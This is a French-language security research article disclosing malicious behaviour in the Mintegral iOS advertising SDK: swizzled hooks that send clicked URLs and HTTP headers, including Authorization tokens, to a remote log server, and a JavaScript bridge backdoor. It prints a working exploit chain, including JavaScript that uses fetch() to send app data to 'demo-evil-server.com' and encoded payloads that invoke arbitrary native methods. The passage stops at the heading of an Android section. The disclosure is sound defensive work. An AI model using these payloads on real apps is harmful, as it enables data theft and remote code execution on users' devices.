Skip to main content

Étude sur le SDK malveillant SourMint

Écrit par
Headshot of Kirill Efimov

Kirill Efimov

feature research

16 octobre 2020

0 minutes de lecture

Vue d’ensemble

Collecte excessive de données sur iOS [août 2020]

Exécution de code à distance (RCE) sur iOS [octobre 2020]

Suivi des téléchargements sur Android [octobre 2020]

Chronologie

Vue d’ensemble

Le SDK Mintegral est un SDK publicitaire populaire pour les applications mobiles, disponible sur iOS et Android. Il est utilisé par des milliers d’applications mobiles, qui totalisent plus d’un milliard de téléchargements par mois. Les développeurs d’applications s’en servent pour monétiser leurs applications grâce à des publicités tierces.

L’équipe de recherche en sécurité de Snyk a publié deux révélations importantes au sujet du SDK Mintegral. La première révélation, publiée en août 2020, a mis au jour une collecte excessive de données et le détournement de clics dans la version iOS du SDK. La seconde révélation a découvert une porte dérobée dans la version iOS du SDK, permettant l’exécution de code à distance, ainsi que de nouveaux éléments concernant la version Android du SDK.

Cet article présente les détails techniques de nos recherches et de nos conclusions, au-delà des informations abordées dans les articles de blog.

Cet article est divisé en trois sections :

  • Collecte excessive de données : cette section, publiée initialement le 24 août 2020, décrit les capacités de suivi des URL et des requêtes de la version iOS du SDK Mintegral, y compris l’interception et la journalisation de toutes les requêtes HTTP.

  • Une porte dérobée dans la version iOS du SDK permet l’exécution de code à distance : cette section décrit les capacités d’exécution de code à distance de MintegralAdSDK, révélées le 15 octobre 2020.

  • Suivi des URL de téléchargement sur Android : cette section décrit différentes découvertes concernant la version Android du SDK Mintegral.

Collecte excessive de données sur iOS [août 2020]

Vue d’ensemble

Cette partie de la recherche a été menée sur la version binaire du SDK Mintegral pour iOS, car la version open source n’était pas encore à notre disposition en août 2020. L’analyse porte sur la version 6.3.5.0 du SDK (architecture x86), disponible en téléchargement sur GitHub.

Nous avons établi que les versions 5.5.1 et ultérieures du SDK Mintegral pour iOS comportent des fonctionnalités malveillantes entraînant des fuites d’informations. En clair, le SDK espionne les clics des utilisateurs sur les liens ainsi que leur activité réseau dans les applications concernées. Cet espionnage a lieu même si le développeur ou la plateforme de médiation publicitaire n’a pas activé le SDK. Celui-ci tente également de dissimuler son comportement malveillant en détectant les proxys, les simulateurs et les appareils jailbreakés.

Swizzling de méthodes

Le SDK Mintegral utilise une technique appelée swizzling de méthodes pour remplacer à l’exécution les implémentations des méthodes UIApplication openURL et SKStoreProductViewController loadProductWithParameters. Il enregistre également une classe personnalisée NSURLProtocol.

Ces hooks servent à espionner les utilisateurs de l’application en envoyant toutes les informations sur les requêtes HTTP, les URL ouvertes et les liens de l’App Store sur lesquels ils cliquent depuis l’application.

Les en-têtes des requêtes HTTP et les URL eux-mêmes peuvent contenir des données sensibles. Associées à l’IDFA (Identifier for Advertisers), ces données permettent à Mintegral de commettre une fraude à l’attribution publicitaire.

Fraude à l’attribution publicitaire

Pour monétiser leurs applications, les développeurs installent souvent des plateformes publicitaires. Celles-ci perçoivent des revenus des annonceurs pour chaque installation réalisée après qu’un utilisateur a cliqué sur leur publicité. Il n’est pas rare que les développeurs utilisent plusieurs plateformes publicitaires dans leurs applications. Pour déterminer à quelle plateforme attribuer une installation, chaque clic est donc enregistré auprès d’un fournisseur d’attribution, une plateforme de mesure mobile (MMP).

La figure ci-dessous montre comment fonctionne la fonctionnalité malveillante de Mintegral. Dans cet exemple, l’utilisateur a cliqué sur une publicité provenant d’« Another Platform ». Mais comme Mintegral peut intercepter toutes les URL ouvertes par l’application, le SDK peut envoyer des requêtes supplémentaires à un fournisseur d’attribution en prétendant que le clic provient de sa propre publicité. Voici comment se déroule le processus :

  1. L’utilisateur clique sur un lien dans une publicité intégrée à une application, diffusée par un réseau publicitaire autre que Mintegral, pour installer une nouvelle application depuis l’App Store.

  2. Le SDK du réseau publicitaire envoie les informations relatives au clic à sa plateforme back-end.

  3. Après avoir intercepté l’événement de clic au moyen de code injecté dans les gestionnaires d’événements iOS par swizzling de méthodes, Mintegral consigne les données du clic sur son serveur.

  4. Le réseau publicitaire enregistre une notification de clic auprès du fournisseur d’attribution.

  5. Mintegral enregistre également une notification de clic auprès du fournisseur d’attribution.

Lorsque le fournisseur d’attribution tente de faire correspondre l’événement d’installation aux notifications de clic enregistrées, il en trouve deux qui correspondent. Avec un modèle d’attribution au dernier contact, la notification de clic de Mintegral reçoit l’attribution, tandis que celle de l’autre réseau publicitaire est rejetée.

Schéma illustrant le flux de suivi d’une application mobile entre l’App Store, un fournisseur d’attribution, une autre plateforme et Mintegral, avec des flèches numérotées de 1 à 5.

Snyk a collaboré avec un important fournisseur d’attribution pour confirmer que Mintegral exploite les données de clic afin de générer de fausses notifications de clic. Son enquête a permis au fournisseur de démontrer que ces fausses notifications étaient générées et entraînaient une attribution erronée des clics publicitaires à Mintegral.

Application de démonstration

Pour illustrer l’attaque, nous avons configuré une application de démonstration. Elle montrera le hook malveillant openURL en action. Nous utilisons un proxy de débogage pour intercepter tout le trafic réseau.

Pour initialiser l’application, nous utilisons l’extrait de code suivant, tiré de la documentation de Mintegral :

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    [[MTGSDK sharedInstance] setAppID:@"xxxxxx" ApiKey:@"yyyyyyyyyyyyyyyyyyyyyyyyy"];
    return YES;
}

Une fois le SDK initialisé, nous ouvrons example.com depuis l’application en cliquant sur un bouton :

- (IBAction)openURLWithOptions:(id)sender {
    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"http://example.com?foo=bar&x=y"] options:@{} completionHandler:nil];
}

Après le lancement de l’application, nous voyons immédiatement quelques requêtes du SDK Mintegral dans notre proxy :

Application iPhone affichant des boutons colorés pour la détection d’URL et de hooks à l’exécution, à côté de Charles Proxy qui montre des paramètres de requête et des données

Paramètres

La réponse de _https://setting.rayjump.com/setting est un objet JSON contenant de nombreuses options. Le tableau suivant décrit les champs les plus intéressants pour notre recherche.

Champ JSON

Description

csw

Active ou désactive la fonctionnalité anti-débogage.

cou

Active ou désactive le hook de la méthode openURL.

cdai

URL à laquelle envoyer les informations divulguées (*).

cspn

Active ou désactive le hook des méthodes StoreKit.

cud

Activez ou désactivez le hook sur NSURLProtocol.

cudl

Tableau d’URL à suivre via NSURLProtocol (**).

* Dans notre cas, il s’agissait de LdxThdi1WBK/WgfPhbxQYkeXHBPwHZKsYFh=, qui correspond à https://n.systemlog.me/log après décodage.

** Dans notre cas, il s’agissait de kBzuJd5/H+i/D+SMY7V/DFKwR0M0D+SMhBPthdSsHZPUYFT0+N==, qui correspond à ["itunes.apple.com","apps.apple.com"] après décodage.

Décodage de la charge utile

Après avoir cliqué sur le bouton qui ouvre example.com, nous voyons deux autres requêtes. La première est une requête GET vers http://example.com, comme prévu. La seconde est une requête POST vers https://n.systemlog.me/log.

Application iPhone affichant des options de détection des hooks à côté de Charles Proxy, qui affiche une requête POST avec une longue charge utile encodée

Le corps de la requête semble encodé en base64. En réalité, il ne s’agit pas d’une chaîne encodée en base64. Le SDK Mintegral implémente ses propres fonctions d’encodage et de décodage, que l’on trouve dans +[MTGBase base64DecodeString:] et +[MTGBase base64CleverDecodeString:]. Notez que MTGBase n’est pas exposé dans les en-têtes publics du SDK et n’est pas censé être accessible aux développeurs.

Nous utilisons l’extrait de code suivant pour décoder la charge utile :

Class cls = NSClassFromString(@"MTGBase");
NSObject *obj = [cls performSelector:NSSelectorFromString(@"base64CleverDecodeString:") withObject:@"THE REQUEST BODY HERE"];
NSLog(@"%@", obj);
Capture d’écran d’un terminal montrant une charge utile décodée avec des métadonnées d’appareil et des extraits de code d’application iOS

La charge utile contient de nombreuses données, notamment l’IDFA, l’IDFV, la version du système d’exploitation, l’agent utilisateur, etc. Elle contient également un champ nommé « clever », qui est lui aussi encodé. Nous pouvons le décoder à l’aide de base64DecodeString :

[{'cn': 'ViewController', 'u': 'http://example.com?foo=bar&x=y', 'nid': 0, 'type': '3', 'mn': 'openURLWithOptions:', 'trc': '["2|awesomegame|0x0000000104102f18 -[ViewController openURLWithOptions:] + 152","3|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","4|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","5|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","6|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497"]'}]

Comme vous pouvez le constater, il contient l’URL, la trace de pile et des informations supplémentaires, telles que le contrôleur et le nom de la méthode.

Analyse approfondie

Comme indiqué précédemment, le SDK Mintegral est à code source fermé. Nous allons examiner la version 6.3.5.0 pour l’architecture x86.

Le binaire est un exécutable Mach-O qui contient plusieurs autres binaires. Le code qui nous intéresse se trouve dans _CXX_CXX_OperationPKTask.o.

En examinant la classe, nous trouvons +[_CXX_CXX_OperationPKTask load], qui s’exécute automatiquement lorsque la classe est ajoutée à l’exécution. Cela signifie que si le SDK est installé via CocoaPods, la logique malveillante sera initialisée, que les développeurs utilisent ou non le SDK.

La méthode load effectue une série d’appels qui nous mènent à ___cxxwebk_init_vw. Cette méthode vérifie si l’indicateur de protection anti-débogage est activé et initialise les hooks si cet indicateur est défini sur false ou si le débogage est désactivé.

Code désassemblé annoté montrant un appel de protection anti-débogage CSW, C0U et des références à cspn.

L’initialisation des hooks dépend de la requête de paramètres mentionnée plus haut. Le tableau suivant montre les correspondances entre les champs JSON de la réponse et la classe MTGSetting :

Champ JSON

Propriété MTGSetting

Description

csw

cSrtW

Active ou désactive la fonctionnalité anti-débogage.

cou

cOpenURL

Active ou désactive le hook de la méthode openURL.

cspn

cPackageName

Active ou désactive le hook des méthodes StoreKit.

Logique anti-débogage

Capture d’écran de code sombre avec des annotations rouges pointant vers « /Applications/Cydia.app » et « /Library/MobileSubstrate/MobileSubstrate.dylib ».

La fonction __cxx_cxx_op_isInSuperViewFrame renvoie true dans les cas suivants :

  • La plateforme de l’appareil est un « simulateur ».

  • Un débogueur est connecté (implémenté dans ____mvpmvvm_isDebuggerAttached_block_invoke).

  • L’un des fichiers suivants est présent sur l’appareil (indiquant un jailbreak) :

    • /Applications/Cydia.app

    • /Library/MobileSubstrate/MobileSubstrate.dylib

    • /bin/bash

    • /usr/sbin/sshd

    • /etc/apt

    • /usr/bin/ssh

  • Un proxy est activé (à l’aide de CFNetworkCopySystemProxySettings).

Swizzling de la méthode openURL

La logique illustrée dans la capture d’écran suivante est implémentée dans la méthode ___cxxwebkmcouitninapo, appelée depuis ___cxxwebk_init_vw si l’indicateur correspondant est activé.

Éditeur de code en thème sombre affichant le code source Objective-C d’une implémentation de la méthode NSURL openURL.

« blog-sour-mint-openurl-method-swirl » — La capture d’écran ci-dessus montre l’implémentation du swizzling de méthodes. Elle effectue les appels suivants :

  1. NSSelectorFromString pour obtenir un sélecteur pour la méthode « openURL: ».

  2. NSClassFromString pour obtenir un descripteur de classe pour UIApplication.

  3. class_getInstanceMethod pour obtenir le descripteur de méthode.

  4. method_getImplementation pour obtenir l’implémentation réelle de la méthode.

  5. Ils définissent ensuite un bloc de code qui appelle _____cxxwebkmcouitninapo_block_invoke_2, puis la méthode d’origine openURL.

  6. method_setImplementation pour remplacer la méthode openURL d’origine par le bloc de code de l’étape précédente.

La méthode openURL:options:completionHandler: fait l’objet d’un traitement presque identique, à ceci près que la version du système est vérifiée au préalable (le gestionnaire a été introduit pour la première fois dans iOS 10).

Nous avons ainsi vu comment le hook était appliqué. Voyons maintenant son implémentation (_____cxxwebkmcouitninapo_block_invoke_2).

Implémentation du hook openURL

En pratique, l’implémentation se trouve dans la méthode ___cxxwebkmcoulsz. On y trouve un autre appel de vérification anti-débogage, puis la méthode vérifie l’indicateur __mc_notifyInHouse et ne fait rien si sa valeur est égale à 1.

Cette opération sert à ignorer toutes les URL marketing sur lesquelles un utilisateur clique dans une publicité diffusée par Mintegral. La capture d’écran ci-dessous montre la logique correspondante dans +[MTGBase mtgOpenURL:options:completionHandler:] :

Éditeur de code sombre affichant l’implémentation d’une méthode Objective-C pour MTGBase, avec des appels concernant l’appareil, la version du système, la mémoire et les notifications de l’application.

L’extrait de code suivant montre également que la trace de pile est sérialisée, puis divulguée dans la charge utile envoyée à https://n.systemlog.me/log.

Nous pouvons placer un point d’arrêt sur l’appel +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]. Les arguments de l’appel sont visibles dans la capture d’écran suivante :

Débogueur affichant du code assembleur et une pile d’appels pour la méthode openURLWithOptions de ViewController dans une application iOS
  • L’URL ouverte (http://example.com?foo=bar&x=y).

  • La classe dans laquelle le clic a eu lieu (ViewController).

  • La méthode depuis laquelle le clic a eu lieu (openURLWithOptions:).

  • Informations de backtrace.

Une autre fonction intéressante est _nsh_id_by_cc, qui semble chargée d’identifier les SDK concurrents. La logique pertinente est illustrée dans la capture d’écran suivante :

Éditeur de code en thème sombre affichant du code Objective-C décompilé avec des références à GADCategories et à des services publicitaires

Revenons à +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:] : après avoir encodé la charge utile avec +[MTGBase base64EncodeString:], la fonction crée un nouveau bloc de code et utilise _dispatch_async pour l’exécuter.

Cela entraîne une série d’appels avec des transformations supplémentaires de la charge utile et aboutit à -[_MC_ApiManager AFRequestWithUrl:paras:success:failure:], qui envoie une requête POST à collectDomainUrl de MTGSetting, dont la valeur par défaut est https://n.systemlog.me/log.

Vidéo montrant comment une URL privée peut être divulguée.

A demonstration of the SourMint Malicious SDK from Mintegral

Hook de SKStoreProductViewController

SKStoreProductViewController est un contrôleur de vue qui affiche une page permettant à l’utilisateur d’acheter du contenu multimédia sur l’App Store.

La méthode loadProductWithParameters:completionBlock: charge un nouvel écran de produit à afficher.

Plutôt que d’entrer dans les détails techniques de l’implémentation du hook, nous avons ajouté l’extrait de code suivant à l’application de démonstration :

- (IBAction)openSKStoreProductViewController:(id)sender {
    SKStoreProductViewController *storeViewController = [[SKStoreProductViewController alloc] init];
    [storeViewController setDelegate:self];
    NSDictionary *productParams = @{SKStoreProductParameterITunesItemIdentifier: [NSNumber numberWithInt:1234567890]};
    [storeViewController loadProductWithParameters:productParams completionBlock:nil];

Nous observons alors une requête POST vers https://n.systemlog.me/log, avec la charge utile suivante dans le champ « clever » :

[{'cn': 'UIApplication', 'mn': 'sendAction:to:from:forEvent:', 'nid': 0, 'aid': '{"id":1234567890}', 'type': '2', 'trc': '["2|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","3|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","4|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","5|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497","6|UIKitCore|0x00007fff49362508 -[UIWindow _sendTouchesForEvent:] + 1359"]', 'dur': 24}] 

Comme nous pouvons le constater, l’ID du produit figure dans la requête. CQFD.

Hook de NSURLProtocol

La classe NSURLProtocol permet aux développeurs de redéfinir le fonctionnement du système de chargement d’URL d’Apple. Le SDK Mintegral enregistre une implémentation malveillante de NSURLProtocol, qui peut être configurée à distance pour intercepter toutes les requêtes sortantes d’une application et suivre les URL ainsi que les en-têtes HTTP, notamment l’en-tête Authorization.

Pour les développeurs d’applications, cela signifie que Mintegral pourrait potentiellement collecter des jetons d’API, des cookies et des en-têtes d’authentification de base.

Pour comprendre comment le SDK active cette partie du code malveillant, nous devons revenir à ___cxxwebk_init_vw.

Capture d’écran de code sombre montrant du code d’exécution Objective-C, avec des annotations rouges pointant vers « cud », « cudl » et « NSURLProtocol hook init ».

La capture d’écran ci-dessus montre que l’indicateur cud doit être activé et que le tableau cudl ne doit pas être vide pour activer le hook.

La capture d’écran suivante montre une partie de la fonction ___cxxwebkterisiuuxx, appelée depuis la méthode ci-dessus.

Éditeur de code sombre affichant du code d’exécution Objective-C avec des références à des classes et des sélecteurs

Le code de la fonction ___cxxwebkterisiuuxx effectue les actions suivantes :

  1. Crée une classe héritant de NSURLProtocol (objc_registerClassPair, objc_allocateClassPair).

  2. Ajoute une implémentation de canInitWithRequest:, qui agit en pratique comme un intercepteur (class_addMethod).

  3. Appelle +[NSURLProtocol registerClass:] pour enregistrer la classe auprès du système de chargement d’URL.

Dans le cadre de notre recherche, nous avons ajouté l’extrait de code suivant afin de vérifier quelles données sont collectées par le code malveillant :

- (IBAction)httpRequestWithURLSession:(id)sender {
    NSURLSessionConfiguration *sConf = [NSURLSessionConfiguration defaultSessionConfiguration];
    sConf.HTTPAdditionalHeaders = @{@"Authorization": @"Basic YWRtaW46YWRtaW4K"};
    NSURLSession *session = [NSURLSession sessionWithConfiguration:sConf];
    NSMutableURLRequest *req = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://example.com/get-secret-data"]];
    req.HTTPBody = [@"foo=bar" dataUsingEncoding:NSUTF8StringEncoding];
    req.HTTPMethod = @"POST";
    NSURLSessionDataTask *task = [session dataTaskWithRequest:req];
    [task resume];
}

Nous observons alors une requête POST vers https://n.systemlog.me/log, avec la charge utile suivante dans le champ « clever » :

[{'cn': '', 'u': 'http://example.com/get-secret-data', 'mn': '', 'nid': 0, 'hhf': '{"Authorization":"Basic YWRtaW46YWRtaW4K","Content-Length":"7"}', 'type': '1', 'hm': 'POST'}]

Dans la requête, nous pouvons voir l’URL et l’en-tête d’autorisation. Même si le corps de la requête n’est pas inclus, les en-têtes contiennent souvent des données sensibles, qui peuvent même inclure des informations personnelles identifiables. Par exemple, si une API utilise des jetons JWT, ceux-ci peuvent contenir une adresse e-mail ou un nom d’utilisateur.

Conclusion

Au cours de notre recherche, nous avons observé de nombreuses techniques intéressantes utilisées par les développeurs de Mintegral pour dissimuler le comportement malveillant de leur SDK. Comme nous pouvons le constater, les hooks ne sont activés que pour certaines applications dans certaines régions, ce qui a permis au code malveillant de rester présent pendant plus d’un an sans attirer l’attention.

Pour ce qui est de la chronologie, la première version (5.5.1) du SDK malveillant a été publiée le 17 juillet 2019. Nous avons constaté que toutes les versions suivantes comportaient la même fonctionnalité malveillante.

De nombreuses applications populaires ont été touchées par les activités malveillantes de ce SDK. Nous espérons que cette recherche, en mettant en lumière la situation, incitera à renforcer la vigilance et les contrôles de confidentialité des réseaux publicitaires.

Exécution de code à distance (RCE) sur iOS [octobre 2020]

En bref

Nous avons découvert que la classe MTGBaseBridgeWebView, utilisée partout dans le SDK pour communiquer avec JavaScript, agit comme une porte dérobée et permet d’appeler des fonctions arbitraires depuis le code natif de l’application.

Schéma montrant un serveur envoyant des données privées d’utilisateur et une charge utile de bannière malveillante à une application mobile, avec du code natif et une bannière dans l’UIWebView de Mintegral.

L’image ci-dessus présente un schéma simplifié de l’exécution de code à distance.

Analyse des différences

Après notre première divulgation publique, Mintegral a annoncé la publication d’une version open source du SDK.

Nous avons comparé cette nouvelle version open source à la version binaire précédente, distribuée sous forme de cocoapod. Même si nous ne disposions pas du code source de l’ancienne version, nous pouvions comparer les noms de classes. Pour cela, nous avons extrait les fichiers .o des binaires et comparé les symboles aux fichiers .h de la version open source.

Comme prévu, le composant malveillant _CXX_CXX_OperationPKTask découvert précédemment avait bien été supprimé, mais la comparaison a révélé autre chose. Les classes suivantes ont retenu notre attention :

  • MTGCommandDispatcher

  • MTGComponentCommands

  • MTGRemoteCommand

  • MTGRemoteCommandParameterModel

  • MTGRemoteCommandParser

  • MTGInvocationBoxing

Nous avons décidé d’examiner les binaires de plus près pour comprendre à quoi servaient ces fichiers.

Versions concernées

Toutes les versions de MintegralAdSDK antérieures à la version 6.5.0.0 incluse. La version 6.6.0.0, publiée le 10 septembre 2020, ne présente pas la fonctionnalité de porte dérobée décrite dans cet article.

Implémentation du bridge

Nous avons commencé par chercher où la classe MTGRemoteCommandParser était utilisée et n’avons trouvé qu’un seul endroit : -(void)handleNativeObject:parameters:, dans la classe MTGBaseBridgeWebView.

L’implémentation montre que -(void)handleNativeObject:parameters: utilise MTGRemoteCommandParser pour analyser l’argument parameters et appeler la méthode -(void)dispatchCommand:feedback: de la classe MTGCommandDispatcher.

À première vue, -(void)handleNativeObject:parameters: n’est pas utilisée, mais ce n’est pas le cas. Voyons comment l’appeler depuis du code JavaScript.

MTGBaseBridgeWebView implémente la méthode -(void)webView:decidePolicyForNavigationAction:decisionHandler: du protocole WKNavigationDelegate. Cette méthode est appelée à chaque navigation dans la vue Web. Nous pouvons donc la déclencher depuis JavaScript en appelant simplement location.href=something. Dans la version open source du SDK, nous avons trouvé une expression régulière qui analyse les URL des requêtes de navigation : mv://(.+?):(.+?)/(.+?)\\?([\\s\\S]*).

Éditeur de code à thème sombre affichant du code Objective-C qui analyse une URL mV à l’aide d’une expression régulière et en extrait le nom de la fonction, l’ID et les paramètres.

Dans la capture d’écran ci-dessus, -(void)callFunctionWithName:fucId:param: appelle simplement self avec le sélecteur fucName.

Pour appeler -(void)handleNativeObject:parameters: de MTGBaseBridgeWebView, il faut donc utiliser la ligne de code JavaScript suivante : location.href = 'mv://1:fucId/handleNativeObject?<parameters>'.

Veuillez noter que tout ce que nous avons décrit ci-dessus reste valable dans la version la plus récente du SDK à la date de rédaction, ainsi que dans la version open source. La seule exception est que -(void)handleNativeObject:parameters: a été supprimée des dernières versions.

Invocation de méthodes à distance

Nous n’allons pas décrire l’implémentation complète de MTGInvocationBoxing ni des autres classes. Nous allons plutôt montrer comment créer du code JavaScript malveillant pour déclencher la méthode à distance.

La preuve de concept suivante cible une application de « prise de notes » simple, dont la classe NoteRepository comporte deux méthodes : +(void)save: et +(NSString*)load.

Nous injectons le code JavaScript malveillant en remplaçant le serveur Mintegral par notre propre implémentation. Le code source complet de cette application et du serveur est disponible ici .

Voici le code JavaScript malveillant utilisé pour cette application :

window.WindVane = {
     onSuccess: function (_, data) {
         fetch('https://demo-evil-server.com/log?data=' + encodeURIComponent(atob(data)));
     }
 };

location.href = 'mv://1:fucId/handleNativeObject?{"uniqueIdentifier":"hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP","name":"Y7KtHv==","result":{"type":3}}';

Valeur

Décodé

hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP

static_NoteRepository

Y7KtHv==

load

Ce code appelle la méthode +(NSString*)load de la classe NoteRepository et envoie le résultat à notre point de terminaison demo-evil-server.com/log.

Il utilise les mêmes techniques d’obfuscation que celles décrites dans la section précédente. Toutefois, la preuve de concept inclut déjà du code JavaScript permettant l’encodage et le décodage (voir banner.html).

Obtenir une exécution de code à distance (RCE) complète

Dans l’exemple ci-dessus, nous avons vu comment le SDK peut servir à appeler n’importe quelle méthode statique d’une classe arbitraire. Dans cette section, nous allons montrer comment exploiter cette capacité pour exécuter n’importe quel code natif.

À titre de démonstration, nous allons montrer comment créer un UIAlertController affichant le message « PWNED! ».

Prenons le code Objective-C suivant comme référence :

UIAlertController *alert = [[UIAlertController alloc] init];
[alert setMessage:@"PWNED!"];
[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alert animated:YES completion:nil];

Nous devons trouver comment créer et conserver une instance de UIAlertController entre les appels, comment obtenir une instance partagée de l’application et comment appeler presentViewController:animated:completion: avec cette instance.

Étape 1 : enregistrer une référence à la classe UIAlertController

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            'value': {'uniqueIdentifier': 'hbxtJ7QU+25zNkeQhgxaYFPThrKsY75B'} // static_UIAlertController
        },
        {'type': 2, 'value': 'a' }
    ]
});

MTGRemoteCommandParser prend en charge deux types de références d’objets :

  • static : récupère une référence à un objet de classe à partir de son nom.

  • singleton : effectue plusieurs étapes :

    1. Récupère une classe à partir de son nom (MTGSetting dans notre exemple).

    2. Exécute la méthode sharedInstance sur la classe. En Objective-C : [MTGSetting sharedInstance].

    3. Utilise valueForKey: pour récupérer des propriétés séparées par des points. Dans notre cas, il s’agit de [[MTGSetting sharedInstance] valueForKey:@"jsonTitles"].

Notez que jsonTitles est simplement une instance de NSMutableDictionary. Dans l’exploit, elle sert de stockage temporaire pour nos références. MTGRemoteCommandParser prend en charge les types de paramètres suivants :

  • 0 : nombre.

  • 1 : référence.

  • 2 : chaîne.

  • 4 : nil.

Le type référence (1) nous permet de transmettre une référence à un objet en argument d’une méthode. À noter que uniqueIdentifier est analysé exactement comme un uniqueIdentifier de premier niveau ; le type singleton est donc également pris en charge.

Étape 2 : allouer une nouvelle instance de la classe UIAlertController

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.a.alloc.init
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBPtWrcsY7KUWrQ\/L+N='}
        },
        {'type': 2, 'value': 'b'}
    ]
});

Dans ce cas, tout se joue dans singleton_MTGSetting.jsonTitles.a.alloc.init. Comme nous le savons déjà, singleton_MTGSetting.jsonTitles.a nous fournit une référence à la classe UIAlertController. Mais il nous faut comprendre pourquoi [[UIAlertController valueForKey:@"alloc"] valueForKey:@"init"] fonctionne. La documentation de valueForKey: nous apprend que :

Le modèle de recherche utilisé par valueForKey: pour trouver la valeur à renvoyer est décrit dans les modèles de recherche des accesseurs du document Guide de programmation du codage clé-valeur.

Nous avons découvert que valueForKey: peut appeler n’importe quelle méthode par son nom, à condition qu’elle ne prenne aucun argument.

Nous pouvons donc maintenant créer une nouvelle instance de la classe UIAlertController, à laquelle fera référence la propriété b du dictionnaire jsonTitles.

Étape 3 : définir le message « PWNED! »

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0', // singleton_MTGSetting.jsonTitles.b
    'name': 'hF5Tnk5AhFcgHnE=', // setMessage:
    'parameters': [{'type': 2, 'value': 'PWNED!'}]
});

Cette étape est assez évidente : nous appelons setMessage: sur l’instance UIAlertController pour définir le message PWNED!.

Étape 4 : enregistrer une référence à la classe UIApplication

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=',
    'parameters': [
        {'type': 1, 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zN+SMY7QUD+xuYF9='}}, // static_UIApplication
        {'type': 2, 'value': 'x' }
    ]
});

Cette étape est semblable à la première. Nous devons enregistrer la référence à la classe UIApplication dans jsonTitles.x.

Étape 5 : afficher l’alerte

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    // singleton_MTGSetting.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP9WgfED+zQHjcMh7euDFcTLkK\/WrwQ45JuYrxXJBPBYFKT5rQQJTfXYgxBYFesH+R=',
    // presentViewController:animated:completion:
    'name': 'hdzQhF5\/JcHuH+JaYFPThrKsY75BGrc\/Lk2tJ753GrfXY+SsH+xuYF91',
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.b
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0'}
        },
        {'type': 0, 'value': 1},
        {'type': 4} // nil
    ]
});

Cette étape semble complexe, mais elle fait simplement appel à diverses techniques présentées dans les étapes précédentes. En Objective-C, le code serait le suivant :

[MTGSetting.sharedInstance.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    presentViewController:MTGSetting.sharedInstance.jsonTitles.b // this is out instance of UIAlertController
    animated: 1
    completion: nil
];

Nous avons maintenant montré comment afficher une alerte à l’aide d’une exécution de code à distance. Vous trouverez la charge utile complète ici. Pour appeler les étapes une par une, nous avons créé un tableau d’actions et exécuté chaque action dans le rappel window.WindVane.onSuccess (à chaque fois après l’achèvement de l’action précédente).

Vidéo montrant comment le contenu du presse-papiers peut être divulgué en diffusant l’exploit par le biais d’une publicité malveillante.

Remote Code Execution using Mintegral's MTGInvocationBoxing

Source de l’exploit JavaScript

Nous avons déjà vu comment le SDK Mintegral permet l’exécution de code natif à distance via du code JavaScript. Toutefois, ce code JavaScript est entièrement détenu et contrôlé par Mintegral. Mais, fait intéressant, il est possible d’obtenir le même résultat au moyen de publicités interactives créées par les annonceurs eux-mêmes. Ces publicités sont des pages Web basées sur JavaScript.

En théorie, un annonceur peut cibler précisément un groupe d’utilisateurs ou un ensemble d’appareils en diffusant une publicité malveillante contenant l’exploit JavaScript.

Conclusion

Nous ne pouvons que spéculer sur les raisons pour lesquelles Mintegral a intégré à son SDK la possibilité d’invoquer des méthodes natives à distance. Toutefois, au vu du nom de classes telles que MTGCommandDispatcher et MTGRemoteCommand, nous pensons que cette fonctionnalité était intentionnelle. De plus, Mintegral a supprimé le code immédiatement après notre publication, alors même que nous n’en avions pas connaissance à l’époque.

Suivi des téléchargements sur Android [octobre 2020]

Présentation

